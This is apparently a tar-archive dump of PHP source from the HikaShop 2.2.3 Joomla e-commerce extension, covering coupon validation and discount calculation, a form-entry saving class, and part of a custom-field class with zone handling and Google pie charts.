						$qty = 0;
						foreach($products as $prod){
							$qty += $prod->cart_product_quantity;
							if(!empty($prod->product_parent_id))
								$ids[$prod->product_parent_id] = $prod->product_parent_id;
							else
								$ids[$prod->product_id] = $prod->product_id;
						}
						if(empty($error_message) &&
$coupon->discount_product_id){
							if(!in_array($coupon->discount_product_id, $ids)){
								$error_message =
JText::_('COUPON_NOT_FOR_THOSE_PRODUCTS');
							}
						}
						if(empty($error_message) &&
$coupon->discount_category_id){
							$database = JFactory::getDBO();
							if($coupon->discount_category_childs){
								$categoryClass = hikashop_get('class.category');
								$category =
$categoryClass->get((int)$coupon->discount_category_id);
								$filters = array('b.category_left >=
'.$category->category_left ,'b.category_right <=
'.$category->category_right,'b.category_type=\'product\'','a.product_id
IN ('.implode(',',$ids).')');
								hikashop_addACLFilters($filters,'category_access','b');
								$select = 'SELECT a.product_id FROM
'.hikashop_table('category').' AS b LEFT JOIN
'.hikashop_table('product_category').' AS a ON
b.category_id=a.category_id WHERE '.implode(' AND
',$filters);
							}else{
								$filters = array('b.category_id =
'.(int)$coupon->discount_category_id ,'a.product_id IN
('.implode(',',$ids).')');
								hikashop_addACLFilters($filters,'category_access','b');
								$select = 'SELECT a.product_id FROM
'.hikashop_table('category').' AS b LEFT JOIN
'.hikashop_table('product_category').' AS a ON
b.category_id=a.category_id WHERE '.implode(' AND
',$filters);
							}

							$database->setQuery($select);

							$id = $database->loadRowList();
							if (empty($id)) {

								$error_message =
JText::_('COUPON_NOT_FOR_PRODUCTS_IN_THOSE_CATEGORIES');
							}
						}
						if(empty($error_message) &&
bccomp($coupon->discount_minimum_order,0,5)){

							$currency->convertCoupon($coupon,$total->prices[0]->price_currency_id);
							$config =& hikashop_config();
							$discount_before_tax =
$config->get('discount_before_tax');
							$var = 'price_value_with_tax';
							if(!$discount_before_tax){
								$var = 'price_value';
							}

							if($coupon->discount_minimum_order>$total->prices[0]->$var){
								$error_message =
JText::sprintf('ORDER_NOT_EXPENSIVE_ENOUGH_FOR_COUPON',$currency->format($coupon->discount_minimum_order,$coupon->discount_currency_id));
							}
						}

						$coupon->products = array();
						if (!empty($coupon->discount_product_id)) {
							foreach ($products as $product) {
								if(!$product->product_id == $coupon->discount_product_id){
									foreach ($products as $product2) {
										if($product2->cart_product_id ==
$product->cart_product_parent_id && $product2->product_id ==
$coupon->discount_product_id){
											$coupon->products[] = $product;
										}
									}
								} else {
									$coupon->products[] = $product;
								}
							}
						} else if(!empty($id)) {
							foreach ($products as $product) {
								if(!$product->cart_product_option_parent_id) {
									foreach ($id as $productid) {
										if($product->product_id !== $productid[0]){
											foreach ($products as $product2) {
												if($product2->cart_product_id ==
$product->cart_product_parent_id && $product2->product_id ==
$productid[0]){
													$coupon->products[] = $product;
												}
											}
										} else {
											$coupon->products[] = $product;
										}
									}
								}
							}
						}

						if(empty($error_message) &&
(int)$coupon->discount_minimum_products > 0) {
							$qty = 0;
							if(!empty($coupon->products)) {
								foreach($coupon->products as $product) {
									$qty += $product->cart_product_quantity;
								}
							}
							if((int)$coupon->discount_minimum_products > $qty) {
								$error_message =
JText::sprintf('NOT_ENOUGH_PRODUCTS_FOR_COUPON',
(int)$coupon->discount_minimum_products);
							}
						}
					}
				}
			}
		}

		$dispatcher->trigger('onAfterCouponCheck',
array(&$coupon, &$total, &$zones, &$products,
&$display_error, &$error_message, &$do));

		if(!empty($error_message)) {
			$class = hikashop_get('class.cart');
			$class->update('',0,0,'coupon');
			if($display_error) {
				JRequest::setVar('coupon_error_message',$error_message);
			}
			return null;
		}

		JRequest::setVar('coupon_error_message','');

		if($do) {
			$currency->convertCoupon($coupon,$total->prices[0]->price_currency_id);

			if(!HIKASHOP_PHP5){
				$coupon->total = $total;
			}else{
				if(!isset($coupon->total))
					$coupon->total = new stdClass();
				$coupon->total->prices = array(clone(reset($total->prices)));
			}


			// Changes for: 27448 Coupons for specific products
			$this->recalculateDiscountValue($coupon, $products, $id);

			switch (@$coupon->discount_coupon_nodoubling) {
				case 1:
				case 2:
					$coupon = $this->addCoupon($coupon, $products, $currency,
$coupon->discount_coupon_nodoubling);
					break;
				default:
					$currency->addCoupon($coupon->total,$coupon, $products, $id);
					break;
			}
		}
		return $coupon;

	}


	function recalculateDiscountValue(&$coupon,&$products,&$id){

		if( (!empty($coupon->discount_coupon_product_only) ||
!empty($coupon->products)) &&
bccomp($coupon->discount_percent_amount, 0, 5)) {
			$coupon->discount_flat_amount = 0;

			if (!empty($coupon->discount_product_id)) {
				$variantsFirst = array_reverse($products);
				foreach ($variantsFirst as $product) {
					if(!isset($product->prices[0])) continue;
					if ($coupon->discount_product_id == $product->product_id ||
$product->product_parent_id == $coupon->discount_product_id) {
						switch($coupon->discount_coupon_nodoubling){
							case 2:
								if
(isset($product->prices[0]->price_value_without_discount)){
									$coupon->discount_flat_amount +=
($coupon->discount_percent_amount *
$product->prices[0]->price_value) / 100;
									$coupon->discount_flat_amount-=$product->prices[0]->price_value_without_discount-$product->prices[0]->price_value;
									if($coupon->discount_flat_amount<0)$coupon->discount_flat_amount=0;
									continue;
								}
							case 1:
								if
(isset($product->prices[0]->price_value_without_discount)){
									continue;
								}
							default:
								$coupon->discount_flat_amount +=
($coupon->discount_percent_amount *
$product->prices[0]->price_value) / 100;
								break;
						}
						break;
					}
				}
			} else if(!empty($coupon->products)) {

				$variantsFirst = array_reverse($products);
				foreach ($variantsFirst as $product) {
					if(!isset($product->prices[0])) continue;
					foreach ($coupon->products as $prod) {

						if(!empty($prod->product_parent_id))
							$productid = $prod->product_parent_id;
						else
							$productid = $prod->product_id;

						if($product->product_id == $productid &&
empty($product->variants) || $product->product_parent_id ==
$productid) {
							switch($coupon->discount_coupon_nodoubling){
								case 2:
									if
(isset($product->prices[0]->price_value_without_discount)){
										$coupon->discount_flat_amount +=
($coupon->discount_percent_amount *
$product->prices[0]->price_value) / 100;
										$coupon->discount_flat_amount-=$product->prices[0]->price_value_without_discount-$product->prices[0]->price_value;
										if($coupon->discount_flat_amount<0)$coupon->discount_flat_amount=0;
										continue;
									}
								case 1:
									if
(isset($product->prices[0]->price_value_without_discount)){
										continue;
									}
								default:
									if(isset($product->prices[0]->price_value))
										$coupon->discount_flat_amount +=
($coupon->discount_percent_amount *
$product->prices[0]->price_value) / 100;
									break;
							}
							break;
						}
					}
				}
			}

			if (bccomp($coupon->discount_flat_amount, 0, 5)) {
				$coupon->discount_percent_amount = 0;
				$coupon->discount_coupon_nodoubling = null;
			}
		}
	}


	function addCoupon(&$coupon1, &$products, &$currency,
$discountmode) {
		$totaldiscount=0.0;
		$totaldiscount_with_tax=0.0;
		$totalprice=0.0;
		$totalprice_with_tax=0.0;
		$totalnondiscount=0.0;
		$totalnondiscount_with_tax=0.0;
		foreach($products as $k => $product){
			if(!empty($product->prices)&&$product->cart_product_quantity>0){
				$price = reset($product->prices);
				if (isset($price->price_value)) {
					$totalprice += $price->price_value;
					if (isset($price->price_value_without_discount)){
						$totaldiscount += $price->price_value_without_discount -
$price->price_value;
					}
					else {
						$totalnondiscount += $price->price_value;
					}
				}
				if (isset($price->price_value_with_tax)) {
					$totalprice_with_tax += $price->price_value_with_tax;
					if (isset($price->price_value_without_discount_with_tax)){
						$totaldiscount_with_tax +=
$price->price_value_without_discount_with_tax -
$price->price_value_with_tax;
					}
					else {
						$totalnondiscount_with_tax += $price->price_value_with_tax;
					}
				}
			}
		}

		if (!bccomp($totaldiscount_with_tax, 0, 5) || !bccomp($totaldiscount, 0,
5)) {
			$currency->addCoupon($coupon1->total,$coupon1);
			return $coupon1;
		}

		if (bccomp($coupon1->discount_flat_amount, 0, 5) &&
$totalnondiscount >= $coupon1->discount_flat_amount) {
			$currency->addCoupon($coupon1->total,$coupon1);
			return $coupon1;
		}

		$totalprice += $totaldiscount;
		$totalprice_with_tax += $totaldiscount_with_tax;

		$coupon2 = clone($coupon1);
		$coupon2->total = clone($coupon1->total);
		$coupon2->total->prices =
$this->copyStandardPrices($coupon1->total->prices);
		switch ($discountmode) {
			case 2:
				$coupon2->total->prices[0]->price_value_with_tax =
$totalprice_with_tax;
				$coupon2->total->prices[0]->price_value = $totalprice;

				$currency->addCoupon($coupon2->total,$coupon2);

				$coupon2->total->prices[0]->price_value_without_discount_with_tax
-= $totaldiscount_with_tax;
				$coupon2->total->prices[0]->price_value_without_discount -=
$totaldiscount;
				$coupon2->discount_percent_amount_calculated_without_tax -=
$totaldiscount;
				$coupon2->discount_value_without_tax -= $totaldiscount;
				$coupon2->discount_percent_amount_calculated -= $totaldiscount;
				$coupon2->discount_value -= $totaldiscount;
				$coupon2->discount_flat_amount = $coupon2->discount_value;
				break;
			default:
				if($coupon2->discount_flat_amount > $totalnondiscount_with_tax)
{
					$coupon2->discount_flat_amount=0;
				}
				$total = new stdClass();
				$obj = new stdClass();
				$total->prices = array($obj);
				$total->prices[0]->price_value_with_tax =
$totalnondiscount_with_tax;
				$total->prices[0]->price_value = $totalnondiscount;
				$total->prices[0]->taxes = array();
				$currency->addCoupon($total,$coupon2);
				break;
		}

		if (isset($coupon2->discount_percent_amount_calculated) &&
$discountmode < 2) {
			$price_diff = $coupon2->discount_percent_amount_calculated -
$totaldiscount_with_tax;
		}
		elseif(isset($coupon2->discount_percent_amount_calculated) &&
$discountmode == 2){
			$price_diff = $coupon2->discount_value;
		}else if(isset($coupon2->discount_percent_amount_calculated) ){
			$price_diff = $coupon2->discount_percent_amount_calculated -
$totaldiscount_with_tax;
			$price_diff += $totaldiscount;
		}

		if (@$price_diff <= 0) {
			$couponErrorMessage =
JText::_('COUPON_NO_VALUE_WHEN_DISCOUNT');
			JRequest::setVar('coupon_error_message',$couponErrorMessage);
			return $coupon1;
		}
		if(!(isset($coupon2->discount_percent_amount_calculated) &&
$discountmode == 2)){
			$coupon2->discount_percent_amount_calculated_without_tax =
$price_diff + $totaldiscount;
			$coupon2->discount_value_without_tax = $price_diff + $totaldiscount;
			$coupon2->discount_percent_amount_calculated = $price_diff +
$totaldiscount_with_tax;
			$coupon2->discount_value = $price_diff + $totaldiscount_with_tax;
		}
		if ($discountmode == 1) {
			$coupon2->total->prices[0]->price_value_without_discount_with_tax
= $totalprice_with_tax;
			$coupon2->total->prices[0]->price_value_without_discount =
$totalprice;
			$coupon2->total->prices[0]->price_value_with_tax -=
$coupon2->discount_value;
			$coupon2->total->prices[0]->price_value -=
$coupon2->discount_value_without_tax;
		}

		if ($coupon2->discount_flat_amount !=
$coupon2->discount_value_without_tax) {
			$couponErrorMessage =
JText::_('COUPON_LIMITED_VALUE_WHEN_DISCOUNT');
			JRequest::setVar('coupon_error_message',$couponErrorMessage);
		}
		return $coupon2;
	}

	function copyStandardPrices($prices) {
		$copiedPrices = array();
		for ($i=0; $i<count($prices); $i++) $copiedPrices[$i] =
clone($prices{$i});
		return $copiedPrices;
	}

}
entry.php000064400000002605151160302610006414 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	2.2.3
 * @author	hikashop.com
 * @copyright	(C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopEntryClass extends hikashopClass{
	var $tables = array('entry');
	var $pkeys = array('entry_id');

	function saveForm(){
		$entry = new stdClass();
		$entry->entry_id = hikashop_getCID('entry_id');
		$formData = JRequest::getVar( 'data', array(), '',
'array' );
		foreach($formData['entry'] as $column => $value){
			hikashop_secureField($column);
			$entry->$column = strip_tags($value);
		}

		$status = $this->save($entry);
		if(JRequest::getVar('tmpl','')=='component'){
			if($status){
				$url =
hikashop_completeLink('order&task=edit&cid='.$entry->order_id,false,true);
				echo '<html><head><script
type="text/javascript">parent.window.location.href=\''.$url.'\';</script></head><body></body></html>';
				exit;
			}else{
				$app = JFactory::getApplication();
				if(version_compare(JVERSION,'1.6','<')){
					$session =& JFactory::getSession();
					$session->set('application.queue',
$app->_messageQueue);
				}
				echo '<html><head><script
type="text/javascript">javascript:
history.go(-1);</script></head><body></body></html>';
				exit;
			}
		}
		return $status;
	}
}
field.php000064400000242034151160302610006340 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	2.2.3
 * @author	hikashop.com
 * @copyright	(C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php

class hikashopFieldClass extends hikashopClass {

	var $tables = array('field');
	var $pkeys = array('field_id');
	var $namekeys = array();
	var $errors = array();
	var $prefix = '';
	var $suffix = '';
	var $excludeValue = array();
	var $toggle =
array('field_required'=>'field_id','field_published'=>'field_id','field_backend'=>'field_id','field_backend_listing'=>'field_id','field_frontcomp'=>'field_id','field_core'=>'field_id');
	var $where = array();
	var $skipAddressName=false;
	var $report = true;
	var $externalValues = null;

	function &getData($area,$type,$notcoreonly=false, $categories=null){
		static $data = array();
		$key = $area.'_'.$type.'_'.$notcoreonly;
		if(!empty($categories)){
			if(!empty($categories['originals'])){
				$key.='_'.implode('/',$categories['originals']);
			}
			if(!empty($categories['parents'])){
				$key.='_'.implode('/',$categories['parents']);
			}
		}
		if(empty($data[$key])){
			$this->where = array();
			$this->where[] = 'a.`field_published` = 1';
			if($area == 'backend'){
				$this->where[] = 'a.`field_backend` = 1';
			}elseif($area == 'frontcomp'){
				$this->where[] = 'a.`field_frontcomp` = 1';
			}elseif($area=='backend_listing'){
				$this->where[] = 'a.`field_backend_listing` = 1';
			}elseif($area != 'all'){
				$db = JFactory::getDBO();
				$clauses = explode(';', trim($area,';'));
				foreach($clauses as $clause) {
					if(empty($clause))
						continue;

					$v = '=1';
					if(strpos($clause, '=') !== false) {
						list($clause,$v) = explode('=', $clause, 2);
						$v = '=' . (int)$v;
					}
					if(substr($clause, 0, 8) == 'display:') {
						$cond = substr($clause, 8) . $v;
						if(HIKASHOP_J25)
							$cond = $db->escape($cond, true);
						else
							$cond = $db->getEscaped($cond, true);
						$this->where[] = 'a.`field_display` LIKE
\'%;'.$cond.';%\'';
					} else {
						if(HIKASHOP_J25)
							$this->where[] = 'a.' . $db->quoteName($clause) .
$v;
						else
							$this->where[] = 'a.' . $db->nameQuote($clause) .
$v;
					}
				}
			}
			if($notcoreonly){
				$this->where[] = 'a.`field_core` = 0';
			}
			if($this->skipAddressName){
				$this->where[]='a.field_namekey!=\'address_name\'';
			}
			$this->where[]='a.field_table='.$this->database->Quote($type);
			$filters='';
			if(!empty($categories)){
				$categories_filter=array('AND ((field_with_sub_categories=0 AND
(field_categories="all"');
				if(!empty($categories['originals'])){
					foreach($categories['originals'] as $cat){
						$categories_filter[]='field_categories LIKE
\'%,'.$cat.',%\'';
					}
				}
				$filters=implode(' OR ',$categories_filter).'))';
				$categories_filter=array('OR (field_with_sub_categories=1 AND
(field_categories="all"');
				if(!empty($categories['parents'])){
					foreach($categories['parents'] as $cat){
						$categories_filter[]='field_categories LIKE
\'%,'.$cat.',%\'';
					}
				}
				$filters.=implode(' OR
',$categories_filter).')))';
			}
			hikashop_addACLFilters($this->where,'field_access','a');
			$this->database->setQuery('SELECT * FROM
'.hikashop_table('field').' as a WHERE
'.implode(' AND ',$this->where).'
'.$filters.' ORDER BY a.`field_ordering` ASC');
			$data[$key] =
$this->database->loadObjectList('field_namekey');
		}
		return $data[$key];
	}

	function getField($fieldid,$type=''){
		if(is_numeric($fieldid)){
			$element = parent::get($fieldid);
		}else{
			$this->database->setQuery('SELECT * FROM
'.hikashop_table('field').' WHERE
field_table='.$this->database->Quote($type).' AND
field_namekey='.$this->database->Quote($fieldid));
			$element = $this->database->loadObject();
		}
		$fields = array($element);
		$data = null;
		$this->prepareFields($fields,$data,$fields[0]->field_type,'',true);
		return $fields[0];
	}

	function
getFields($area,&$data,$type='user',$url='checkout&task=state'){
		$allCat=$this->getCategories($type, $data);
		$fields = $this->getData($area,$type, false, $allCat);
		$this->prepareFields($fields,$data,$type,$url);
		return $fields;
	}

	function getCategories($type, &$data){
		$allCat=null;
		if(!empty($data)){
			if($type=='product' || $type=='item'){
				if(empty($data->product_id)){
					$id = 0;
				}else{
					$id = $data->product_id;
				}
				static $categories=array();
				if(!isset($categories[$id])){
					$categories[$id]['originals']=array();
					$categories[$id]['parents']=array();
					$categoryClass = hikashop_get('class.category');
					if(!empty($data->categories)){
						foreach($data->categories as $category){
							if(!is_object($category))
$categories[$id]['originals'][$category]=$category;
							else
$categories[$id]['originals'][$category->category_id]=$category->category_id;
						}
						$parents = $categoryClass->getParents($data->categories);
					}else{
						$productClass = hikashop_get('class.product');
						if(!isset($data->product_type)){
							$prodData = $productClass->get($id);
							if(!empty($prodData->product_type)){
								$data->product_type = $prodData->product_type;
								$data->product_parent_id = $prodData->product_parent_id;
							}
						}
						if(isset($data->product_type) &&
$data->product_type=='variant'){
							$loadedCategories=$productClass->getCategories($data->product_parent_id);
						}else{
							$loadedCategories=$productClass->getCategories($id);
						}
						if(!empty($loadedCategories)){
							foreach($loadedCategories as $cat){
								$categories[$id]['originals'][$cat]=$cat;
							}
						}
						$parents = $categoryClass->getParents($loadedCategories);
					}
					if(!empty($parents) && is_array($parents)){
						foreach($parents as $parent){
							$categories[$id]['parents'][$parent->category_id]=$parent->category_id;
						}
					}
				}
				$allCat =& $categories[$id];
			}
			if($type=='category' &&
!empty($data->category_id)){
				static $categories2=array();
				if(!isset($categories2[$data->category_id])){
					$categories2[$data->category_id]['originals'][$data->category_id]=$data->category_id;
					$categoryClass = hikashop_get('class.category');
					$parents = $categoryClass->getParents($data->category_id);
					if(!empty($parents)){
						foreach($parents as $parent){
							$categories2[$data->category_id]['parents'][$parent->category_id]=$parent->category_id;
						}
					}
				}
				$allCat =& $categories2[$data->category_id];
			}

		}
		return $allCat;
	}

	function
chart($table,$field,$order_status='',$width=0,$height=0){
		static $a = false;
		if(!$a){
			$a = true;
			if(!HIKASHOP_PHP5) {
				$doc =& JFactory::getDocument();
			} else {
				$doc = JFactory::getDocument();
			}
			$doc->addScript(((empty($_SERVER['HTTPS']) OR
strtolower($_SERVER['HTTPS']) != "on" ) ?
'http://' :
'https://')."www.google.com/jsapi");
		}
		$namekey = hikashop_secureField($field->field_namekey);
		if(empty($order_status)){
			if($table=='item') $table ='order_product';
			$this->database->setQuery('SELECT
COUNT(`'.$namekey.'`) as total,`'.$namekey.'` as name
FROM '.$this->fieldTable($table).' WHERE
`'.$namekey.'` IS NOT NULL AND `'.$namekey.'` !=
\'\' GROUP BY `'.$namekey.'` ORDER BY total DESC LIMIT
20');
		}elseif($table=='entry'){
			$this->database->setQuery('SELECT
COUNT(a.`'.$namekey.'`) as total,a.`'.$namekey.'` as
name FROM '.$this->fieldTable($table).' AS a LEFT JOIN
'.hikashop_table('order').' AS b ON
a.order_id=b.order_id WHERE
b.order_status='.$this->database->Quote($order_status).'
AND a.`'.$namekey.'` IS NOT NULL AND a.`'.$namekey.'`
!= \'\' GROUP BY a.`'.$namekey.'` ORDER BY total DESC
LIMIT 20');
		}
		if(empty($width)){
			$width=600;
		}
		if(empty($height)){
			$height=400;
		}
		$results = $this->database->loadObjectList();
?>
		<script type="text/javascript">
		function drawChart<?php echo $namekey; ?>() {
			var dataTable = new google.visualization.DataTable();
			dataTable.addColumn('string');
			dataTable.addColumn('number');
			dataTable.addRows(<?php echo count($results); ?>);
<?php
foreach($results as $i => $oneResult){
	$name = isset($field->field_value[$oneResult->name]) ?
$this->trans(@$field->field_value[$oneResult->name]->value) :
$oneResult->name; ?>
			dataTable.setValue(<?php echo $i ?>, 0, '<?php echo
addslashes($name).' ('.$oneResult->total.')';
?>');
			dataTable.setValue(<?php echo $i ?>, 1, <?php echo
intval($oneResult->total); ?>);
<?php } ?>

			var vis = new
google.visualization.PieChart(document.getElementById('fieldchart<?php
echo $namekey;?>'));
			var options = {
				title: '<?php echo
addslashes($field->field_realname);?>',
				width: <?php echo $width;?>,
				height: <?php echo $height;?>,
				is3D:true,
				legendTextStyle: {color:'#333333'}
			};
			vis.draw(dataTable, options);
		}
		google.load("visualization", "1",
{packages:["corechart"]});
		google.setOnLoadCallback(drawChart<?php echo $namekey; ?>);
		</script>

		<div class="hikachart chart" style="width:<?php echo
$width;?>px;height:<?php echo $height;?>px;"
id="fieldchart<?php echo $namekey;?>"></div>
<?php
	}

	function
prepareFields(&$fields,&$data,$type='user',$url='checkout&task=state',$test=false){
		if(!empty($fields)){
			$id = $type.'_id';
			switch($type){
				case 'address':
					$user_id = (int)@$data->address_user_id;
					break;
				case 'item':
					$order_id = (int)@$data->order_id;
					if($order_id>0){
						$orderClass = hikashop_get('class.order');
						$order = $orderClass->get($order_id);
						$user_id = (int)@$order->order_user_id;
					}else{
						$user_id = 0;
					}
					break;
				case 'order':
					$user_id = (int)@$data->order_user_id;
					break;
				default:
					$user_id = 0;
					break;
			}
			$guest = true;
			if($user_id>0){
				$userClass = hikashop_get('class.user');
				$user = $userClass->get($user_id);
				$guest = !(bool)@$user->user_cms_id;
			}
			foreach($fields as $namekey => $field){
				$fields[$namekey]->guest_mode = $guest;
				if(!empty($fields[$namekey]->field_options) &&
is_string($fields[$namekey]->field_options)){
					$fields[$namekey]->field_options =
unserialize($fields[$namekey]->field_options);
				}
				if(!empty($field->field_value) &&
is_string($fields[$namekey]->field_value)){
					$fields[$namekey]->field_value =
$this->explodeValues($fields[$namekey]->field_value);
				}
				if(empty($data->$id) && empty($data->$namekey)){
					if($data == null || empty($data))
						$data = new stdClass();
					$data->$namekey = $field->field_default;
				}
				if(!empty($fields[$namekey]->field_options['zone_type'])
&& $fields[$namekey]->field_options['zone_type'] ==
'country'){
					$baseUrl =
JURI::base().'index.php?option=com_hikashop&ctrl='.$url.'&tmpl=component';
					$currentUrl = strtolower(hikashop_currentUrl());
					if(substr($currentUrl, 0, 8) == 'https://') {
						$domain = substr($currentUrl, 0, strpos($currentUrl, '/',
9));
					} else {
						$domain = substr($currentUrl, 0, strpos($currentUrl, '/',
8));
					}
					if(substr($baseUrl, 0, 8) == 'https://') {
						$baseUrl = $domain . substr($baseUrl, strpos($baseUrl, '/',
9));
					} else {
						$baseUrl = $domain . substr($baseUrl, strpos($baseUrl, '/',
8));
					}
					$fields[$namekey]->field_url = $baseUrl . '&';
				}
			}
			$this->handleZone($fields,$test,$data);
		}
	}

	function handleZone(&$fields,$test=false,$data){
		$types = array();
		foreach($fields as $k => $field){
			if($field->field_type=='zone' &&
!empty($field->field_options['zone_type'])){
				if($field->field_options['zone_type']!='state'){
					$types[$field->field_options['zone_type']]=$field->field_options['zone_type'];
				}elseif(empty($field->field_value)){
					$allFields =
$this->getData('',$field->field_table,false);
					foreach($allFields as $i => $oneField){
						if(!empty($oneField->field_options)&&is_string($oneField->field_options)){
							$oneField->field_options =
unserialize($oneField->field_options);
						}
						if($oneField->field_type=='zone' &&
!empty($oneField->field_options['zone_type']) &&
$oneField->field_options['zone_type']=='country'){
							$zoneClass = hikashop_get('class.zone');
							$namekey = $oneField->field_namekey;
							if(!empty($data->$namekey)){
								$oneField->field_default = $data->$namekey;
							}

							$zone = $zoneClass->get($oneField->field_default);
							$ok = true;
							if(empty($zone) || !$zone->zone_published){
								$config =& hikashop_config();
								$zone_id =
explode(',',$config->get('main_tax_zone',$zone_id));
								if(count($zone_id)){
									$zone_id = array_shift($zone_id);
								}
								$ok = false;
								if($zone->zone_id != $zone_id){
									$newZone = $zoneClass->get($zone_id);
									if($newZone->zone_published){
										$allFields[$i]->field_default = $newZone->zone_namekey;
										$oneField->field_default = $newZone->zone_namekey;
										$oneField->field_options =
serialize($oneField->field_options);
										$this->save($oneField);
										$ok = true;
									}
								}
							}
							if(!$ok){
								$app = JFactory::getApplication();
								if(empty($zone)){
									$app->enqueueMessage('In your custom zone field
"'.$oneField->field_namekey.'", you have the zone
"'.$oneField->field_default. '". However, that zone
does not exist. Please change your custom field
accordingly.','error');
								}else{
									$app->enqueueMessage('In your custom zone field
"'.$oneField->field_namekey.'", you have the zone
"'.$oneField->field_default. '". However, that zone
is unpublished. Please change your custom field
accordingly.','error');
								}
							}
						}
						$zoneType = hikashop_get('type.country');
						$zoneType->type = 'state';
						$zoneType->published = true;
						$zoneType->country_name = $oneField->field_default;
						$zones = $zoneType->load();
						$this->setValues($zones,$fields,$k,$field);
						break;
					}
				}
			}
		}
		if(!empty($types)){
			$zoneType = hikashop_get('type.country');
			$zoneType->type = $types;
			$zoneType->published = true;
			$zones = $zoneType->load();
			if(!empty($zones)){
				foreach($fields as $k => $field){
					$this->setValues($zones,$fields,$k,$field);
				}
			}
		}
	}

	function handleZoneListing(&$fields,&$rows){
		if(empty($rows)) return;
		$values = array();
		foreach($fields as $k => $field){
			if($field->field_type=='zone'){
				$field_namekey = $field->field_namekey;
				foreach($rows as $row){
					if(!empty($row->$field_namekey)){
						$values[$row->$field_namekey]=$this->database->Quote($row->$field_namekey);
					}
				}
			}
		}
		if(!empty($values)){
			$query = 'SELECT * FROM
'.hikashop_table('zone').' WHERE zone_namekey IN
('.implode(',',$values).') ORDER BY zone_name_english
ASC';
			$this->database->setQuery($query);
			$zones =
$this->database->loadObjectList('zone_namekey');
			foreach($fields as $k => $field){
				if($field->field_type!='zone')
					continue;
				$field_namekey = $field->field_namekey;
				foreach($rows as $k => $row){
					if(empty($row->$field_namekey))
						continue;
					foreach($zones as $zone){
						if($zone->zone_namekey!=$row->$field_namekey)
							continue;
						if(is_numeric($zone->zone_name_english)){
							$title = $zone->zone_name;
						}else{
							$title = $zone->zone_name_english;
							if($zone->zone_name_english != $zone->zone_name){
								$title.=' ('.$zone->zone_name.')';
							}
						}
						$rows[$k]->$field_namekey=$title;
						break;
					}
				}
			}
		}
	}

	function setValues(&$zones,&$fields,$k,&$field){
		foreach($zones as $zone){
			if($field->field_type=='zone' &&
!empty($field->field_options['zone_type']) &&
$field->field_options['zone_type']==$zone->zone_type){
				$title = $zone->zone_name_english;
				if($zone->zone_name_english != $zone->zone_name){
					$title.=' ('.$zone->zone_name.')';
				}
				$obj = new stdClass();
				$obj->value = $title;
				$obj->disabled = '0';
				$fields[$k]->field_value[$zone->zone_namekey]=$obj;
			}

		}
	}

	function
getInput($type,&$oldData,$report=true,$varname='data',$force=false,$area=''){
		$this->report = $report;
		$data = null;
		static $formData = null;
		if($force || !isset($formData)){
			$formData = JRequest::getVar( $varname, array(), '',
'array' );
		}
		$dataType = $type;
		if(is_array($type)) {
			$dataType = $type[0];
			$type = $type[1];
		} elseif(substr($type, 0, 4) == 'plg.') {
			$this->_loadExternals();
			if(!empty($this->externalValues)) {
				foreach($this->externalValues as $name => $externalValue) {
					if($externalValue->value == $type &&
!empty($externalValue->datatype)) {
						$dataType = $externalValue->datatype;
					}
				}
			}
		}
		if(empty($formData[$dataType])){
			$formData[$dataType]=array();
		}

		$app = JFactory::getApplication();
		if(empty($area)) {
			if($app->isAdmin()){
				$area = 'backend';
			}else{
				$area = 'frontcomp';
			}
		}
		$allCat=$this->getCategories($type, $oldData);


		$fields =& $this->getData($area, $type, false, $allCat);

		if(!empty($fields)){
			foreach($fields as $namekey => $field){
				if(!empty($fields[$namekey]->field_options) &&
is_string($fields[$namekey]->field_options)){
					$fields[$namekey]->field_options =
unserialize($fields[$namekey]->field_options);
				}
			}
		}

		if($type=='entry' && $area=='frontcomp'){
			$ok = true;
			$data=array();
			foreach($formData[$dataType] as $key => $form){
				$obj = new stdClass();
				$data[$key]=$obj;
				if(!isset($formData[$dataType][$key])){
					$formData[$dataType][$key]='';
				}
				if(!$this->_checkOneInput($fields,$formData[$dataType][$key],$data[$key],$type,$oldData)){
					$ok = false;
				}
			}
		}else{
			if(!isset($formData[$dataType])){
				$formData[$dataType]='';
			}
			$data = new stdClass();
			$ok =
$this->_checkOneInput($fields,$formData[$dataType],$data,$type,$oldData);
		}
		if($data != null && !empty($data) && (!is_object($data)
|| count(get_object_vars($data)) > 0)) {
			$_SESSION['hikashop_'.$type.'_data'] = $data;
		} else {
			$_SESSION['hikashop_'.$type.'_data'] = null;
			unset($_SESSION['hikashop_'.$type.'_data']);
		}
		if(!$ok){
			return $ok;
		}
		return $data;
	}

	function
_checkOneInput(&$fields,&$formData,&$data,$type,&$oldData){
		$ok = true;
		if(!empty($fields)){
			foreach($fields as $k => $field){
				$namekey = $field->field_namekey;
				if($field->field_type == "customtext"){
					if(isset($formData[$field->field_namekey]))
unset($formData[$field->field_namekey]);
					continue;
				}

				if(!empty($field->field_options['limit_to_parent'])){
					$parent = $field->field_options['limit_to_parent'];
					if(!isset($field->field_options['parent_value'])){
						$field->field_options['parent_value']='';
					}
					$skip = false;
					foreach($fields as $otherField){
						if($otherField->field_namekey==$parent){

							if(!isset($formData[$parent]) ||
$field->field_options['parent_value']!=$formData[$parent]){
								if(isset($formData[$namekey])){
									unset($formData[$namekey]);
								}

								$skip=true;
							}
							break;
						}
					}

					if($skip && $field->field_required){
						continue;
					}
				}

				$field_type = $field->field_type;
				if(substr($field->field_type,0,4) == 'plg.') {
					$field_type = substr($field->field_type,4);
					JPluginHelper::importPlugin('hikashop', $field_type);
				}
				$classType = 'hikashop'.ucfirst($field_type);
				$class = new $classType($this);

				$val = @$formData[$namekey];
				if(!$class->check($fields[$k],$val,@$oldData->$namekey)){
					$ok = false;
				}
				$formData[$namekey] = $val;
			}
		}

		$this->checkFields($formData,$data,$type,$fields);
		return $ok;
	}

	function checkFields(&$data,&$object,$type,&$fields){
		$app = JFactory::getApplication();
		static $safeHtmlFilter= null;
		if(is_null($object))$object=new stdClass();
		if($app->isAdmin()){
			if (is_null($safeHtmlFilter)) {
				jimport('joomla.filter.filterinput');
				$safeHtmlFilter = JFilterInput::getInstance(null, null, 1, 1);
			}
		}
		$noFilter = array();
